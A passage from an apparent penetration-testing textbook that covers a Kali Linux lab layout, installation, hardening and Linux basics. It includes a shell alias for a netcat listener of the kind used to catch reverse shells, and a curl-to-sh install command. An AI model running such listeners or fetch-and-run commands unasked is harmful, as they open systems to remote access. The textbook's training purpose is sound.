Practice Environment\n\n```\nNetwork: 192.168.56.0/24 (Host-Only)\n\u251c\u2500\u2500 Kali Linux (Attacker)\n\u2502   \u2514\u2500\u2500 IP: 192.168.56.10\n\u251c\u2500\u2500 Target Network 1\n\u2502   \u251c\u2500\u2500 Ubuntu Server (Web)\n\u2502   \u2502   \u2514\u2500\u2500 IP: 192.168.56.20\n\u2502   \u251c\u2500\u2500 Windows 10 (Workstation)\n\u2502   \u2502   \u2514\u2500\u2500 IP: 192.168.56.30\n\u2502   \u2514\u2500\u2500 Metasploitable 3\n\u2502       \u2514\u2500\u2500 IP: 192.168.56.40\n\u2514\u2500\u2500 Target Network 2 (NAT)\n    \u251c\u2500\u2500 pfSense Firewall\n    \u2502   \u2514\u2500\u2500 WAN: 192.168.56.254, LAN: 10.0.0.254\n    \u2514\u2500\u2500 Internal Network 10.0.0.0/24\n        \u251c\u2500\u2500 Windows Server 2019 (DC)\n        \u2502   \u2514\u2500\u2500 IP: 10.0.0.10\n        \u2514\u2500\u2500 Windows 10 Domain Member\n            \u2514\u2500\u2500 IP: 10.0.0.20\n```\n\n---\n\n## Chapter 2 \u2014 Installing Kali Linux\n\n### 2.1 System Requirements\n\nBefore installing Kali Linux, it's essential to understand the hardware requirements and ensure your system meets the necessary specifications for your intended use case.\n\n#### 2.1.1 Minimum Requirements\n\nFor a basic installation with minimal functionality:\n\n**Processor**:\n- Intel Core i3 or equivalent AMD\n- Minimum: 1 GHz\n- Recommended: 2 GHz dual-core or better\n\n**Memory (RAM)**:\n- Minimum: 2 GB\n- Recommended: 4 GB for basic usage\n- For heavy multitasking: 8 GB or more\n- For virtual machines: Allocate at least 2-4 GB\n\n**Storage**:\n- Minimum: 20 GB hard disk space\n- Recommended: 40 GB or more\n- For full installation: 60 GB+\n- For forensic work: Additional storage for images\n\n**Graphics**:\n- VGA capable of 1024\u00d7768 resolution\n- Recommended: 1920\u00d71080 or higher\n- 3D acceleration optional (not required)\n\n#### 2.1.2 Recommended Requirements for Different Use Cases\n\n**Professional Penetration Tester**:\n- Processor: Intel Core i7 or AMD Ryzen 7\n- RAM: 16 GB minimum, 32 GB recommended\n- Storage: 500 GB SSD + 1 TB HDD for data\n- Graphics: Dedicated GPU optional\n\n**Red Team Operator**:\n- Processor: Intel Core i9 or AMD Ryzen 9\n- RAM: 32 GB minimum, 64 GB recommended\n- Storage: 1 TB NVMe SSD\n- Graphics: Dedicated GPU for hash cracking\n\n**Forensics Analyst**:\n- Processor: High core count (8+ cores)\n- RAM: 32 GB minimum, 64 GB recommended\n- Storage: Multiple drives for evidence\n- Graphics: Not critical\n\n**Malware Analyst**:\n- Processor: Intel Core i7 or better\n- RAM: 16 GB minimum, 32 GB recommended\n- Storage: 500 GB SSD + external storage\n- Graphics: Optional\n\n#### 2.1.3 Special Hardware Considerations\n\n**Wireless Adapters**:\n- Chipset with monitor mode support\n- Packet injection capability\n- External USB adapters often preferred\n- Common supported chipsets:\n  - Atheros AR9271\n  - Ralink RT3070\n  - Realtek RTL8812AU\n  - Intel (limited support for injection)\n\n**External GPUs for Password Cracking**:\n- NVIDIA CUDA support preferred\n- AMD OpenCL support\n- Multiple GPU configurations\n- Adequate cooling and power supply\n\n**USB 3.0 Controllers**:\n- For external storage\n- For wireless adapters\n- For forensic acquisitions\n\n### 2.2 Downloading from Offensive Security\n\nObtaining Kali Linux requires downloading from official sources to ensure integrity and security.\n\n#### 2.2.1 Official Download Sources\n\n**Primary Download Methods**:\n\n1. **Official Website**: https://www.kali.org/get-kali/\n   - Direct downloads\n   - Torrent links\n   - Network installers\n   - ARM images\n\n2. **Mirror Network**:\n   - Global mirror distribution\n   - Faster downloads based on location\n   - Backup if primary is unavailable\n   - List available at https://http.kali.org/README-mirror\n\n3. **BitTorrent**:\n   - Distributed download\n   - Built-in integrity checking\n   - Reduces server load\n   - Faster for popular releases\n\n#### 2.2.2 Download Options\n\n**ISO Image Types**:\n\n1. **Kali Linux Installer Image**:\n   - Full installation capability\n   - Includes all tools\n   - Multiple desktop environments\n   - Size: ~3-4 GB\n   - Use for permanent installations\n\n2. **Kali Linux Live Image**:\n   - Boot without installing\n   - Persistence capability\n   - Same toolset as installer\n   - Size: ~3-4 GB\n   - Use for testing and temporary use\n\n3. **Kali Linux NetInstaller**:\n   - Minimal base image\n   - Downloads packages during install\n   - Smaller initial download (~500 MB)\n   - Requires internet connection\n   - Customizable installation\n\n4. **Kali Linux ARM Images**:\n   - Device-specific images\n   - Pre-configured for hardware\n   - Various sizes based on device\n   - Includes hardware-specific optimizations\n\n#### 2.2.3 Choosing the Right Image\n\n**Selection Criteria**:\n\n- **Purpose**: Permanent install vs live boot\n- **Internet Access**: NetInstaller vs full ISO\n- **Desktop Environment**: Xfce, GNOME, KDE, etc.\n- **Architecture**: 64-bit, 32-bit, ARM\n- **Hardware Compatibility**: Legacy systems may need 32-bit\n- **Language and Keyboard**: Regional requirements\n\n### 2.3 Verifying ISO Integrity\n\nSecurity-conscious users must verify downloaded ISO files to ensure they haven't been tampered with.\n\n#### 2.3.1 SHA256 Verification\n\n**Why SHA256 Matters**:\n- Ensures file hasn't been corrupted during download\n- Verifies file matches official release\n- Detects accidental corruption\n- Prevents use of modified ISOs\n\n**Verification Process**:\n\nLinux/Mac:\n```bash\n# Calculate SHA256 of downloaded file\nsha256sum kali-linux-2024.1-installer-amd64.iso\n\n# Compare with official checksum file\ncat SHA256SUMS\ngrep kali-linux-2024.1-installer-amd64.iso SHA256SUMS\n```\n\nWindows:\n```powershell\n# Using PowerShell\nGet-FileHash .\\kali-linux-2024.1-installer-amd64.iso -Algorithm SHA256\n\n# Compare with published checksum\n```\n\n#### 2.3.2 GPG Signature Verification\n\nFor maximum security, verify the GPG signature of the checksum file:\n\n**Step-by-Step GPG Verification**:\n\n1. **Download the necessary files**:\n```bash\nwget https://kali.org/kali-images/current/SHA256SUMS\nwget https://kali.org/kali-images/current/SHA256SUMS.gpg\n```\n\n2. **Import Kali's GPG key**:\n```bash\n# Download and import Kali signing key\nwget -q -O - https://archive.kali.org/archive-key.asc | gpg --import\n\n# Or from keyserver\ngpg --keyserver hkps://keys.openpgp.org --recv-key 44C6513A8E4FB3B30875F75844C6513A8E4FB3B3\n```\n\n3. **Verify the signature**:\n```bash\ngpg --verify SHA256SUMS.gpg SHA256SUMS\n```\n\n4. **Verify ISO against checksums**:\n```bash\nsha256sum -c SHA256SUMS 2&gt;&amp;1 | grep OK\n```\n\n**Expected Output**:\n```\ngpg: Good signature from \"Kali Linux Repository \"\nkali-linux-2024.1-installer-amd64.iso: OK\n```\n\n#### 2.3.3 Understanding Verification Failures\n\n**Common Issues and Solutions**:\n\n- **Checksum mismatch**: File corrupted, download again\n- **GPG key missing**: Import correct key\n- **Signature expired**: Key may need refresh\n- **Untrusted key**: Verify key fingerprint manually\n\n### 2.4 Installation Methods\n\nKali Linux offers multiple installation methods to suit different requirements and scenarios.\n\n#### 2.4.1 Bare Metal Installation\n\nInstalling Kali as the primary operating system on physical hardware:\n\n**Pre-Installation Checklist**:\n- [ ] Backup all important data\n- [ ] Verify hardware compatibility\n- [ ] Have installation media ready\n- [ ] Ensure power source stable\n- [ ] Document current system configuration\n- [ ] Test boot from installation media\n\n**Installation Process**:\n\n1. **Boot from Installation Media**:\n   - Insert USB/DVD\n   - Configure BIOS/UEFI to boot from media\n   - Select \"Graphical Install\" or \"Install\"\n\n2. **Language and Location**:\n   - Select language\n   - Choose location for timezone\n   - Configure keyboard layout\n\n3. **Network Configuration**:\n   - Automatic DHCP detection\n   - Manual configuration if needed\n   - Hostname assignment\n   - Domain name (optional)\n\n4. **User Accounts**:\n   - Root password setup\n   - Regular user account (optional)\n   - Consider security implications\n\n5. **Disk Partitioning**:\n   - Guided - use entire disk\n   - Guided - use entire disk with LVM\n   - Guided - use entire disk with encrypted LVM\n   - Manual partitioning\n\n6. **Software Selection**:\n   - Desktop environments\n   - Collection of tools\n   - Additional software\n\n7. **Install Bootloader**:\n   - GRUB installation\n   - UEFI vs Legacy BIOS\n   - Multiple boot options\n\n#### 2.4.2 Dual Boot Installation\n\nRunning Kali alongside existing operating systems:\n\n**Considerations Before Dual Booting**:\n- Available disk space (minimum 40 GB recommended)\n- Backup existing system\n- Understand boot manager configuration\n- Consider UEFI vs Legacy boot modes\n- Secure Boot compatibility\n\n**Partitioning Strategy**:\n\n```\nExisting Windows Installation:\n- C:\\ (Windows): 200 GB\n- D:\\ (Data): 300 GB\n- Free Space: 100 GB for Kali\n\nPartition Layout for Kali:\n- /boot: 500 MB (ext4)\n- /: 50 GB (ext4)\n- /home: 45 GB (ext4)\n- swap: 4 GB (for 16 GB RAM)\n```\n\n**Installation Steps**:\n\n1. **Prepare Windows**:\n   - Defragment drive\n   - Shrink existing partition\n   - Disable fast startup\n   - Disable secure boot temporarily\n\n2. **Boot Kali Installer**:\n   - Choose \"Install\" from boot menu\n   - Proceed through initial steps\n   - At partitioning, select \"Manual\"\n\n3. **Create Partitions**:\n   - Create partition in free space\n   - Assign mount points\n   - Set filesystem types\n\n4. **Install Bootloader**:\n   - GRUB will detect Windows\n   - Add to boot menu\n   - Test boot options\n\n5. **Post-Installation**:\n   - Configure GRUB timeout\n   - Set default OS\n   - Update GRUB if needed\n\n#### 2.4.3 Encrypted Installation\n\nFull disk encryption protects data if the system is lost or stolen:\n\n**Encryption Options**:\n\n1. **LUKS Full Disk Encryption**:\n   - Encrypts entire disk except /boot\n   - Passphrase required at boot\n   - Strong AES encryption\n   - Multiple key slots\n\n2. **Encrypted LVM**:\n   - LVM on top of LUKS\n   - Flexible volume management\n   - Snapshots and resizing\n   - Multiple logical volumes\n\n3. **Home Directory Encryption**:\n   - Encrypt only /home\n   - Faster boot\n   - User-specific encryption\n   - eCryptfs or LUKS\n\n**LUKS Encryption Process**:\n\nDuring installation, select \"Guided - use entire disk with encrypted LVM\":\n\n```\nStep 1: Create encrypted volume\n- Choose disk for encryption\n- Set encryption passphrase (strongly recommended)\n\nStep 2: LVM configuration\n- Volume group name\n- Logical volumes:\n  - root (/) - 40 GB\n  - home (/home) - remaining space\n  - swap - RAM size\n\nStep 3: Format and install\n- Filesystem creation\n- Installation proceeds normally\n- Encryption unlocks at boot\n```\n\n**Important Considerations**:\n- Remember the passphrase (irrecoverable if lost)\n- /boot partition remains unencrypted\n- Performance impact minimal with AES-NI\n- Suspend-to-disk requires special configuration\n\n#### 2.4.4 LVM Setup\n\nLogical Volume Manager provides flexible storage management:\n\n**LVM Advantages**:\n- Resize volumes dynamically\n- Snapshots for backup\n- Volume striping for performance\n- Easy addition of new disks\n- Volume mirroring\n\n**LVM Components**:\n- **Physical Volumes (PV)**: Actual disks/partitions\n- **Volume Groups (VG)**: Pool of storage\n- **Logical Volumes (LV)**: Virtual partitions\n- **Physical Extents (PE)**: Allocation units\n\n**Sample LVM Layout**:\n\n```bash\n# Physical layout\n/dev/sda1 -&gt; /boot (500 MB)\n/dev/sda2 -&gt; LVM PV (rest of disk)\n\n# Volume Group\nvg_kali (entire /dev/sda2)\n\n# Logical Volumes\n/dev/vg_kali/root     -&gt; 40 GB (/) \n/dev/vg_kali/home     -&gt; 50 GB (/home)\n/dev/vg_kali/var      -&gt; 20 GB (/var)\n/dev/vg_kali/tmp      -&gt; 10 GB (/tmp)\n/dev/vg_kali/swap     -&gt; 8 GB (swap)\n```\n\n**LVM Commands for Management**:\n\n```bash\n# List physical volumes\npvdisplay\n\n# List volume groups\nvgdisplay\n\n# List logical volumes\nlvdisplay\n\n# Extend logical volume\nlvextend -L +10G /dev/vg_kali/home\nresize2fs /dev/vg_kali/home\n\n# Create snapshot\nlvcreate -L 5G -s -n home_snap /dev/vg_kali/home\n```\n\n### 2.5 Installing on Virtualization Platforms\n\nVirtual installation offers flexibility and safety for learning and testing.\n\n#### 2.5.1 VirtualBox Installation\n\n**Preparation**:\n\n1. **Download and Install VirtualBox**:\n   - From https://www.virtualbox.org/\n   - Install extension pack for additional features\n   - Ensure virtualization enabled in BIOS\n\n2. **Create New Virtual Machine**:\n\n```\nName: Kali Linux\nType: Linux\nVersion: Debian (64-bit)\nMemory: 4096 MB (minimum)\nHard disk: Create virtual disk now\n  - Type: VDI\n  - Storage: Dynamically allocated\n  - Size: 60 GB\n```\n\n**Configuration Optimizations**:\n\n```bash\n# System settings\nProcessors: 2-4 cores\nEnable PAE/NX\nEnable VT-x/AMD-V\nEnable Nested Paging\n\n# Display settings\nVideo Memory: 128 MB\nEnable 3D Acceleration\nGraphics Controller: VBoxSVGA\n\n# Storage settings\nController: SATA with SSD checkbox\nAdd optical drive with Kali ISO\n\n# Network settings\nAdapter 1: NAT (internet access)\nAdapter 2: Host-only (lab network)\n```\n\n**Installation Process**:\n\n1. **Mount ISO**:\n   - Attach Kali ISO to optical drive\n   - Boot VM\n\n2. **Install Kali**:\n   - Follow standard installation\n   - Choose appropriate options\n   - Install VirtualBox Guest Additions afterward\n\n3. **Guest Additions Installation**:\n\n```bash\n# After first boot\napt update\napt install -y linux-headers-$(uname -r) build-essential dkms\n\n# Mount Guest Additions ISO from VirtualBox menu\nmount /dev/cdrom /mnt\ncd /mnt\n./VBoxLinuxAdditions.run\nreboot\n```\n\n**Post-Installation Tweaks**:\n\n```bash\n# Enable shared clipboard\n# Devices &gt; Shared Clipboard &gt; Bidirectional\n\n# Create shared folders\n# Devices &gt; Shared Folders &gt; Add\nmkdir /mnt/shared\nmount -t vboxsf shared /mnt/shared\n\n# Enable drag and drop\n# Devices &gt; Drag and Drop &gt; Bidirectional\n```\n\n#### 2.5.2 VMware Workstation Installation\n\n**VMware-Specific Setup**:\n\n1. **Create New Virtual Machine**:\n\n```\nHardware Compatibility: Workstation 16.x\nGuest OS: Linux\nVersion: Debian 11.x 64-bit\nMemory: 4096 MB\nNetwork: NAT\nI/O Controller: LSI Logic\nVirtual Disk: 60 GB, split into files\n```\n\n2. **VM Settings Optimization**:\n\n```bash\nProcessors: 2-4 cores\nVirtualize Intel VT-x/EPT\nMemory: Reserve all memory\nDisplay: Accelerate 3D graphics\nFloppy: Remove (not needed)\nUSB: USB 3.0 support\n```\n\n**VMware Tools Installation**:\n\n```bash\n# Install prerequisites\napt update\napt install -y open-vm-tools-desktop\n\n# Enhanced functionality\n- Clipboard sharing\n- Drag and drop\n- Folder sharing\n- Better display resolution\n- Time synchronization\n```\n\n**Network Configuration for Labs**:\n\n```bash\n# Create custom networks\n# VMnet2: Host-only (192.168.100.0/24)\n# VMnet3: Host-only (192.168.200.0/24)\n\n# Add network adapters\n# Adapter 1: NAT (internet)\n# Adapter 2: Custom VMnet2\n# Adapter 3: Custom VMnet3\n```\n\n#### 2.5.3 Proxmox VE Installation\n\nProxmox provides enterprise-grade virtualization for lab environments:\n\n**Create Kali Template**:\n\n1. **Download ISO to Proxmox**:\n```bash\ncd /var/lib/vz/template/iso\nwget https://kali.org/get-kali/kali-linux-2024.1-installer-amd64.iso\n```\n\n2. **Create VM**:\n```\nVM ID: 100\nName: kali-template\nOS: Linux\nISO: kali-linux-2024.1-installer-amd64.iso\nSCSI Controller: VirtIO SCSI\nCPU: 2 cores\nMemory: 4096 MB\nNetwork: VirtIO\nDisk: 60 GB\n```\n\n3. **Install Kali**:\n   - Standard installation\n   - Install QEMU Guest Agent\n   - Configure for template use\n\n4. **Convert to Template**:\n```bash\n# After installation, convert to template\nqm template 100\n\n# Clone for new instances\nqm clone 100 101 --name kali-pentest\n```\n\n**Proxmox Advantages**:\n- Centralized management\n- Snapshot and rollback\n- Backup integration\n- Resource pooling\n- Network flexibility\n\n### 2.6 Live USB &amp; Persistence\n\nLive USB installations provide portability and flexibility.\n\n#### 2.6.1 Creating Live USB\n\n**Linux Method (dd)**:\n\n```bash\n# Identify USB device\nlsblk\n# Assume USB is /dev/sdb\n\n# Write ISO to USB (careful with device name!)\nsudo dd if=kali-linux-2024.1-live-amd64.iso of=/dev/sdb bs=4M status=progress oflag=sync\n\n# Alternative using balenaEtcher (GUI)\n# Or using cp\nsudo cp kali-linux-2024.1-live-amd64.iso /dev/sdb\nsync\n```\n\n**Windows Method (Rufus)**:\n\n1. **Download Rufus** from https://rufus.ie/\n2. **Configure Rufus**:\n   - Device: Select USB drive\n   - Boot selection: Kali ISO\n   - Partition scheme: MBR or GPT\n   - Target system: BIOS or UEFI\n   - File system: Large FAT32\n\n3. **Write Options**:\n   - Check device for bad blocks (optional)\n   - Create extended label\n   - Write in ISO Image mode\n\n**macOS Method**:\n\n```bash\n# Identify USB device\ndiskutil list\n# Assume USB is /dev/disk2\n\n# Unmount (but don't eject)\ndiskutil unmountDisk /dev/disk2\n\n# Write ISO\nsudo dd if=kali-linux-2024.1-live-amd64.iso of=/dev/rdisk2 bs=1m\n\n# Eject when done\ndiskutil eject /dev/disk2\n```\n\n#### 2.6.2 Persistence Configuration\n\nPersistence allows saving data across reboots on live USB:\n\n**Creating Persistence Partition**:\n\n```bash\n# After writing live ISO, repartition USB\n# Use fdisk or parted to create new partition\n\nsudo fdisk /dev/sdb\n# Create new partition (n)\n# Use remaining space (defaults)\n# Set type to W95 FAT32 (LBA) (t, then c)\n# Write changes (w)\n\n# Format persistence partition\nsudo mkfs.ext4 -L persistence /dev/sdb3\n\n# Create persistence.conf\nsudo mkdir -p /mnt/usb\nsudo mount /dev/sdb3 /mnt/usb\necho \"/ union\" | sudo tee /mnt/usb/persistence.conf\nsudo umount /mnt/usb\n```\n\n**Encrypted Persistence**:\n\n```bash\n# Create encrypted persistence\nsudo cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3\nsudo cryptsetup luksOpen /dev/sdb3 my_usb\n\n# Format as ext4\nsudo mkfs.ext4 /dev/mapper/my_usb\nsudo mount /dev/mapper/my_usb /mnt/usb\necho \"/ union\" | sudo tee /mnt/usb/persistence.conf\nsudo umount /mnt/usb\nsudo cryptsetup luksClose my_usb\n```\n\n**Using Persistence**:\n- Boot from USB\n- Select \"Live USB Persistence\" from boot menu\n- Data saved to persistence partition\n\n### 2.7 ARM Installation\n\nKali on ARM devices expands testing capabilities to embedded systems.\n\n#### 2.7.1 Raspberry Pi Installation\n\n**Supported Models**:\n- Raspberry Pi 2, 3, 4, 5\n- Raspberry Pi 400\n- Raspberry Pi Zero 2 W\n- Compute Module 3/4\n\n**Download ARM Image**:\n\n```bash\n# From Kali website\nwget https://kali.org/get-kali/kali-linux-2024.1-raspberry-pi-arm64.img.xz\n\n# Extract\nxz -d kali-linux-2024.1-raspberry-pi-arm64.img.xz\n```\n\n**Write to SD Card**:\n\n```bash\n# Identify SD card (usually /dev/mmcblk0 or /dev/sdb)\nlsblk\n\n# Write image\nsudo dd if=kali-linux-2024.1-raspberry-pi-arm64.img of=/dev/mmcblk0 bs=4M status=progress\n\n# Expand filesystem on first boot (auto-resize)\n```\n\n**First Boot Configuration**:\n\n```bash\n# Default credentials\n# Username: kali\n# Password: kali\n\n# Change password immediately\npasswd\n\n# Update system\napt update &amp;&amp; apt full-upgrade -y\n\n# Configure Wi-Fi (if needed)\nnano /etc/wpa_supplicant/wpa_supplicant.conf\n```\n\n**Raspberry Pi-Specific Tools**:\n\n```bash\n# GPIO control\napt install -y wiringpi\n\n# Camera module\napt install -y raspicam\n\n# Hardware monitoring\napt install -y raspi-gpio\n\n# I2C and SPI\nraspi-config\n# Enable interfaces under Interface Options\n```\n\n#### 2.7.2 Other ARM Devices\n\n**BeagleBone Black**:\n\n```bash\n# Download specific image\nwget https://kali.org/get-kali/kali-linux-2024.1-beaglebone-black-armhf.img.xz\n\n# Write to microSD\nxz -d kali-linux-2024.1-beaglebone-black-armhf.img.xz\nsudo dd if=kali-linux-2024.1-beaglebone-black-armhf.img of=/dev/mmcblk0 bs=1M status=progress\n```\n\n**Odroid**:\n\n```bash\n# Different models require different images\n# Odroid U2/U3\nwget https://kali.org/get-kali/kali-linux-2024.1-odroid-u2-armhf.img.xz\n\n# Odroid XU3/XU4\nwget https://kali.org/get-kali/kali-linux-2024.1-odroid-xu3-armhf.img.xz\n```\n\n**Pine64**:\n\n```bash\n# Pinebook Pro\nwget https://kali.org/get-kali/kali-linux-2024.1-pinebook-pro-arm64.img.xz\n\n# PinePhone\nwget https://kali.org/get-kali/kali-linux-2024.1-pinephone-arm64.img.xz\n```\n\n### 2.8 Post-Installation Configuration\n\nAfter installing Kali, proper configuration ensures optimal performance and usability.\n\n#### 2.8.1 Initial System Update\n\n```bash\n# Update package lists\napt update\n\n# Upgrade all packages\napt full-upgrade -y\n\n# Clean up unnecessary packages\napt autoremove -y\napt autoclean\n\n# Check kernel version (should be latest)\nuname -a\n```\n\n#### 2.8.2 Network Configuration\n\n**Static IP Configuration**:\n\n```bash\n# Edit network configuration\nnano /etc/network/interfaces\n\n# For static IP (example)\nauto eth0\niface eth0 inet static\n    address 192.168.1.100\n    netmask 255.255.255.0\n    gateway 192.168.1.1\n    dns-nameservers 8.8.8.8 8.8.4.4\n\n# Restart networking\nsystemctl restart networking\n```\n\n**NetworkManager Usage**:\n\n```bash\n# List connections\nnmcli connection show\n\n# Add static connection\nnmcli connection add type ethernet con-name static-lab ifname eth0 ip4 192.168.56.100/24 gw4 192.168.56.1\n\n# Modify existing\nnmcli connection mod \"Wired connection 1\" ipv4.dns \"8.8.8.8\"\n```\n\n**Wi-Fi Configuration**:\n\n```bash\n# List available networks\niwconfig\nnmcli device wifi list\n\n# Connect to network\nnmcli device wifi connect \"SSID\" password \"password\"\n\n# Create configuration file\nwpa_passphrase \"SSID\" \"password\" | sudo tee /etc/wpa_supplicant.conf\n```\n\n#### 2.8.3 User Management\n\n**Add New User**:\n\n```bash\n# Create user\nuseradd -m -s /bin/bash analyst\npasswd analyst\n\n# Add to sudo group\nusermod -aG sudo analyst\n\n# Copy configuration files\ncp -r /etc/skel/. /home/analyst/\nchown -R analyst:analyst /home/analyst\n```\n\n**Secure Root Access**:\n\n```bash\n# Disable root SSH login\nsed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config\nsystemctl restart ssh\n\n# Use sudo for privileged commands\n# Add user to sudo group as above\n```\n\n#### 2.8.4 SSH Hardening\n\n**SSH Configuration Security**:\n\n```bash\n# Edit SSH config\nnano /etc/ssh/sshd_config\n\n# Security settings\nPort 2222  # Change from default\nProtocol 2\nPermitRootLogin prohibit-password\nPubkeyAuthentication yes\nPasswordAuthentication no\nAllowUsers analyst\nMaxAuthTries 3\nMaxSessions 2\nClientAliveInterval 300\nClientAliveCountMax 2\n\n# Restart SSH\nsystemctl restart sshd\n```\n\n**SSH Key Setup**:\n\n```bash\n# On client, generate key\nssh-keygen -t ed25519 -C \"kali-analyst\"\n\n# Copy to Kali\nssh-copy-id -p 2222 analyst@kali-ip\n\n# Test login\nssh -p 2222 analyst@kali-ip\n```\n\n#### 2.8.5 Desktop Environment Customization\n\n**Default Desktop (Xfce)**:\n\n```bash\n# Install additional themes\napt install -y kali-themes-gtk\n\n# Install icons\napt install -y kali-icons\n\n# Configure panel\n# Right-click panel &gt; Panel Preferences\n# Add/remove items as desired\n\n# Install additional plugins\napt install -y xfce4-goodies\n```\n\n**Terminal Customization**:\n\n```bash\n# Install ZSH and Oh-My-Zsh\napt install -y zsh git\nsh -c \"$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\n\n# Install Powerlevel10k theme\ngit clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k\n\n# Set ZSH as default\nchsh -s /bin/zsh\n```\n\n**Useful Aliases**:\n\n```bash\n# Add to .bashrc or .zshrc\necho 'alias nmap-scan=\"nmap -sV -sC -O\"' &gt;&gt; ~/.zshrc\necho 'alias update=\"sudo apt update &amp;&amp; sudo apt upgrade -y\"' &gt;&gt; ~/.zshrc\necho 'alias myip=\"curl ifconfig.me\"' &gt;&gt; ~/.zshrc\necho 'alias listen=\"sudo nc -lvnp\"' &gt;&gt; ~/.zshrc\necho 'alias webshare=\"python3 -m http.server 80\"' &gt;&gt; ~/.zshrc\n```\n\n#### 2.8.6 Tool Installation and Management\n\n**Install Metapackages**:\n\n```bash\n# Install wireless tools\napt install -y kali-linux-wireless\n\n# Install web testing tools\napt install -y kali-linux-web\n\n# Install password tools\napt install -y kali-linux-pwt\n\n# Install all tools\napt install -y kali-linux-large\n```\n\n**Custom Tool Installation**:\n\n```bash\n# Create tools directory\nmkdir -p ~/tools\ncd ~/tools\n\n# Clone GitHub repositories\ngit clone https://github.com/toolname/tool.git\ncd tool\npython3 setup.py install\n\n# Add to PATH if needed\necho 'export PATH=$PATH:~/tools/tool' &gt;&gt; ~/.zshrc\n```\n\n#### 2.8.7 Backup and Restore\n\n**Configuration Backup**:\n\n```bash\n# Backup important configs\ntar -czf kali-config-backup.tar.gz ~/.bashrc ~/.zshrc ~/.ssh /etc/network/interfaces\n\n# Backup installed packages list\ndpkg --get-selections &gt; package-list.txt\n\n# Backup custom tools\ntar -czf custom-tools.tar.gz ~/tools/\n```\n\n**Restore from Backup**:\n\n```bash\n# Restore configs\ntar -xzf kali-config-backup.tar.gz -C /\n\n# Restore packages\ndpkg --set-selections &lt; package-list.txt\napt-get dselect-upgrade\n\n# Restore tools\ntar -xzf custom-tools.tar.gz -C ~/\n```\n\n---\n\n## Chapter 3 \u2014 Linux Fundamentals for Security Professionals\n\n### 3.1 Linux File System Hierarchy\n\nUnderstanding the Linux filesystem is crucial for effective penetration testing and system navigation.\n\n#### 3.1.1 Root Directory Structure\n\nThe Linux filesystem follows the Filesystem Hierarchy Standard (FHS), which defines the purpose of each directory:\n\n```\n/ (Root)\n\u251c\u2500\u2500 /bin - Essential command binaries\n\u251c\u2500\u2500 /boot - Boot loader files and kernel\n\u251c\u2500\u2500 /dev - Device files\n\u251c\u2500\u2500 /etc - System configuration files\n\u251c\u2500\u2500 /home - User home directories\n\u251c\u2500\u2500 /lib - Essential shared libraries\n\u251c\u2500\u2500 /media - Mount points for removable media\n\u251c\u2500\u2500 /mnt - Temporary mount points\n\u251c\u2500\u2500 /opt - Optional application software\n\u251c\u2500\u2500 /proc - Virtual filesystem for process info\n\u251c\u2500\u2500 /root - Root user home directory\n\u251c\u2500\u2500 /sbin - System administration binaries\n\u251c\u2500\u2500 /srv - Service data\n\u251c\u2500\u2500 /sys - Virtual filesystem for system info\n\u251c\u2500\u2500 /tmp - Temporary files\n\u251c\u2500\u2500 /usr - User binaries and read-only data\n\u2514\u2500\u2500 /var - Variable data files\n```\n\n#### 3.1.2 Critical Directories for Security Professionals\n\n**/etc - Configuration Files**:\n\n```bash\n# Important configuration files\n/etc/passwd      # User account information\n/etc/shadow      # Encrypted passwords\n/etc/group       # Group definitions\n/etc/hosts       # Static hostname lookup\n/etc/resolv.conf # DNS configuration\n/etc/network/    # Network configuration\n/etc/ssh/        # SSH configuration\n/etc/sudoers     # Sudo privileges\n```\n\n**/var - Variable Data**:\n\n```bash\n# Important variable data locations\n/var/log/        # System logs\n/var/log/auth.log # Authentication logs\n/var/log/syslog  # System logs\n/var/log/apache2/ # Web server logs\n/var/www/        # Web server files\n/var/tmp/        # Persistent temporary files\n```\n\n**/proc - Process Information**:\n\n```bash\n# Process information examples\n/proc/cpuinfo    # CPU information\n/proc/meminfo    # Memory information\n/proc/version    # Kernel version\n/proc/net/       # Network information\n/proc/[PID]/     # Process-specific information\n/proc/self/      # Current process info\n```\n\n**/dev - Device Files**:\n\n```bash\n# Important device files\n/dev/sda         # First SATA/SCSI disk\n/dev/sda1        # First partition on first disk\n/dev/tty         # Terminal devices\n/dev/null        # Data sink (discard data)\n/dev/zero        # Zero stream\n/dev/random      # Random number generator\n```\n\n### 3.2 Users, Groups &amp; Permissions\n\nUnderstanding user and group management is fundamental for both system administration and privilege escalation.\n\n#### 3.2.1 User Management\n\n**User Types**:\n\n```bash\n# Root user (UID 0)\n# System users (UID 1-999)\n# Regular users (UID 1000+)\n\n# View current user\nwhoami\nid\n\n# List all users\ncat /etc/passwd\n\n# List logged-in users\nwho\nw\nlast\n```\n\n**User Management Commands**:\n\n```bash\n# Add user\nuseradd -m -s /bin/bash john\npasswd john\n\n# Add user with specific UID\nuseradd -u 1500 -m -s /bin/bash jane\n\n# Modify user\nusermod -aG sudo john  # Add to group\nusermod -L john        # Lock account\nusermod -U john        # Unlock account\n\n# Delete user\nuserdel -r john        # Remove with home directory\n```\n\n**User Information Files**:\n\n```bash\n# /etc/passwd format\n# username:password:UID:GID:comment:home:shell\nroot:x:0:0:root:/root:/bin/bash\n\n# /etc/shadow format\n# username:encrypted password:last change:min:max:warn:inactive:expire\nroot:$6$salt$encrypted:18765:0:99999:7:::\n\n# /etc/group format\n# groupname:password:GID:memberlist\nsudo:x:27:john,jane\n```\n\n#### 3.2.2 Group Management\n\n**Group Commands**:\n\n```bash\n# Create group\ngroupadd developers\n\n# Create group with specific GID\ngroupadd -g 2000 devops\n\n# Modify group\ngroupmod -n developers devs  # Rename group\n\n# Delete group\ngroupdel developers\n\n# Add user to group\nusermod -aG developers john\n\n# Remove user from group\ngpasswd -d john developers\n\n# List user groups\ngroups john\nid john\n```\n\n**Primary vs Secondary Groups**:\n- Primary group: Default group for new files\n- Secondary groups: Additional group memberships\n- Files created inherit primary group\n- Can access files based on secondary groups\n\n### 3.3 File Permissions &amp; ACLs\n\nMastering file permissions is essential for understanding security and privilege escalation.\n\n#### 3.3.1 Basic Permissions\n\n**Permission Types**:\n- **r** (4) - Read\n- **w** (2) - Write  \n- **x** (1) - Execute\n\n**Permission Categories**:\n- **u** - User (owner)\n- **g** - Group\n- **o** - Others\n- **a** - All\n\n**Viewing Permissions**:\n\n```bash\n# List with permissions\nls -l\n-rwxr-xr-- 1 john developers 1024 